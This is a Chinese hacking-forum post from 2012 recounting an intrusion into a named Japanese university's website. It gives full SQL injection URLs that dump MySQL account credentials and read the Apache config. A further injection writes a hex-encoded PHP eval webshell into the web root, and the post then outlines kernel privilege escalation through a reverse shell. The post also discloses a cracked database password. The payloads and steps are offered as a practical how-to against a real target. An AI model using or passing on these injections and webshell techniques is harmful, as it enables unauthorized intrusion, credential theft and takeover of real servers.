找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2429|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
# n( T! I$ a% Z; T
2 W9 ?5 Y6 Z  Y* d) M0 ahttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
0 {8 ^  I2 V' {0 j7 z5 @/ e5 r: |然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:$ H# S, K9 {* d; I& X

/ N% X0 U# k- I" ihttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user( M, `' n/ O- {6 H. J
& G+ k) Q! q' l$ ~+ ]0 c$ W* J

( C2 k! j! C6 i/ N# w8 @3 s4 N9 J& p
//@@datadir为数据库文件路径
& \& s2 E% i1 r+ J3 y
7 |* h! G* D5 Y- {( }' D
+ s% l8 V9 S( Z5 k  N8 e% k//load_file读取网站容器apache的配置文件 4 w) R; J, g! ^* m" t" _' e
+ c2 N% W% ]" t' i
6 C, H' j& Z  F/ V$ D8 ]
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
% u& M6 @+ b* J$ r复制代码
- \  r: O' _9 Q1 \5 Z2 f% n- T2 ^- v) A6 P
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。5 m8 r- C$ W' j8 x

- }% ^) S  |# K1 K) U而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
( L; [* M" ?: C' |  U- R(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html); c7 |4 p4 @0 Z5 P8 W( q* M& l" D
4 M0 K9 H0 O+ x- |, L) x# w
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。, y8 u( x6 [7 J! o2 |9 L3 R3 b
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
7 O. }) I, Z6 T& A, D
/ g% N0 s# e/ `% k' d' {+ ]" E既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
( v( q' U/ h: N) |' }% S, B虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
4 G6 l% ]+ s7 N9 O: ?直接写一句话:- r" b: w) [/ ~; ~9 |

2 f1 Q# B  f8 y2 s& ahttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
. i, n5 L$ a, r; \( _, b
  _3 U" E/ ?( b& i! ] 2 i. X6 t' R$ C9 y- }& }

; C5 |2 g9 Y! Y//最后的#是为了闭合前面的语句
& E- L! k% x% B. { / C9 f* C( }1 t* J
, D, F1 C9 ~+ m. C! @. M
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E % @9 r$ \- F7 T" C  I: S
7 u% t5 ^; J/ c- v* e/ Z9 J. h9 C# x
: l2 m* _% ^) F, b
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
" i* u! @5 j$ {' w; x1 ]9 e( a
' R% J6 ?: _2 B1 c# B0 Q# z5 S
$ ], E! I4 G; N( O# Y% Y//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 " ^* ]4 W* t8 l
5 U& e6 u' Z9 x; `+ k9 Y

4 g/ {  }6 B2 J" Y//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
5 E4 ^7 Q8 Y, }, Z- x//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 5 E" J# p* H0 N# X
复制代码, w, `6 ^7 w  J9 Y. }. S
  ~2 H( p$ Q, w  Q+ _& t/ g3 M8 t
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有. d+ m6 W0 y: V: q9 D+ J5 a
通过上述注入语句,我们就得到了一句话木马:
# P) z3 `: {" N& u$ g* A; ~9 X+ b. N4 I
" X2 N: E* }/ U9 A # j7 _9 r& o0 j; T# z1 V

9 S& ]2 @& x3 y9 B / D& M5 h0 M4 T! {

4 [& j5 ?9 L# x1 N3 P6 S8 P% X% j7 ~# f4 zhttp://www.doshisha.ac.jp/english/engnews_img/aa.php 6 o3 Q+ M6 L0 o( I1 m2 i
复制代码
# ]# g$ u7 c* W: V# u3 b) F, I, C) X, k# ^) W4 Q1 K9 |
用菜刀连接,密码是cmd,如图所示:
) U9 p$ P5 R+ G( _& i- b然后在命令提示行里看了一下,现在的权限是:
( |0 m' U& r% H1 M; V1 |3 H* N! X4 [9 d8 `
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
/ _- k) x% y5 X' K  f; |+ L0 e好在赋权给这个文件夹不需要root,直接执行赋权语句:9 S# w. y- m, T4 j/ h

8 V# ^2 u3 w  e  V0 R6 J ; X. F, U8 h* t/ [% `& S
: U, d  d- U0 d* |6 w$ e- L/ }2 t5 L

0 }) y* n, o7 `8 I9 _& Y" L5 C! }6 I  U( `
chmod +x /tmp/
0 J7 y% X8 `& f* M, V6 `复制代码  W; Q4 h( y5 v# V

2 R3 V* X$ c) \' u8 S在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行* h) g& m* F5 m% w4 G
然后就查了一下内核版本:
3 w5 J/ j8 V7 f& E0 I+ G$ [; j1 [+ J: l+ a
: {  l- y+ e1 |

* Q8 K/ a% b- s7 n! [ + X; j1 f: @2 ?- f5 N
, N# f" ^3 k# V  p( E
uname-a
' A8 K  I1 k. W3 ^ % o6 }. `- E8 s+ f6 d
4 F1 D+ w" a' S2 X6 @' f" d
//其实lsb_release -a & F( G  x# H, \9 C( \) `& d
复制代码
- M+ u: r* n9 Y* l" E& T4 X) f9 j2 c+ u- L% O( |. `! E1 s
如图所示:
, A" l. e( P# |/ u1 J* o, j3 F
& u- b. }/ i6 Y1 f$ A& a: Q内核版本:linux mainz1 2.6.28-194.e15; V/ R0 b# I4 @$ h9 d( ]' O
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)- @! d# S- W0 D; W
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹/ ~0 B, a' M2 y( k$ J+ e3 k
. ^7 r3 d) F& V$ R2 Z: ]
然后给予执行权限/ k( U, j5 W6 k' N5 f
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
+ q( N7 A- q0 b; r, q% H& k! O2 v8 |( A

, b' p) R* J# P7 n% x# b3 g) {& L5 Z8 F( N( j. V& ^
9 J) j" p4 i, h

6 r* N9 |+ }! {+ F* A% Xchmod +x /tmp/2.6.18-194
8 y1 p8 y4 q" h% T# B+ V. o复制代码 然后直接执行!~
4 Q. J% }1 C6 s: T2 Z5 }6 O
! |5 O1 E- S8 W" c/ K; G+ Q总结:
) O/ l7 Q/ t8 a这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了) W5 V3 R; p  i( u$ I
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
1 w) C" t( j# `' F
# }5 j& a, V2 x6 z" [9 P  a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表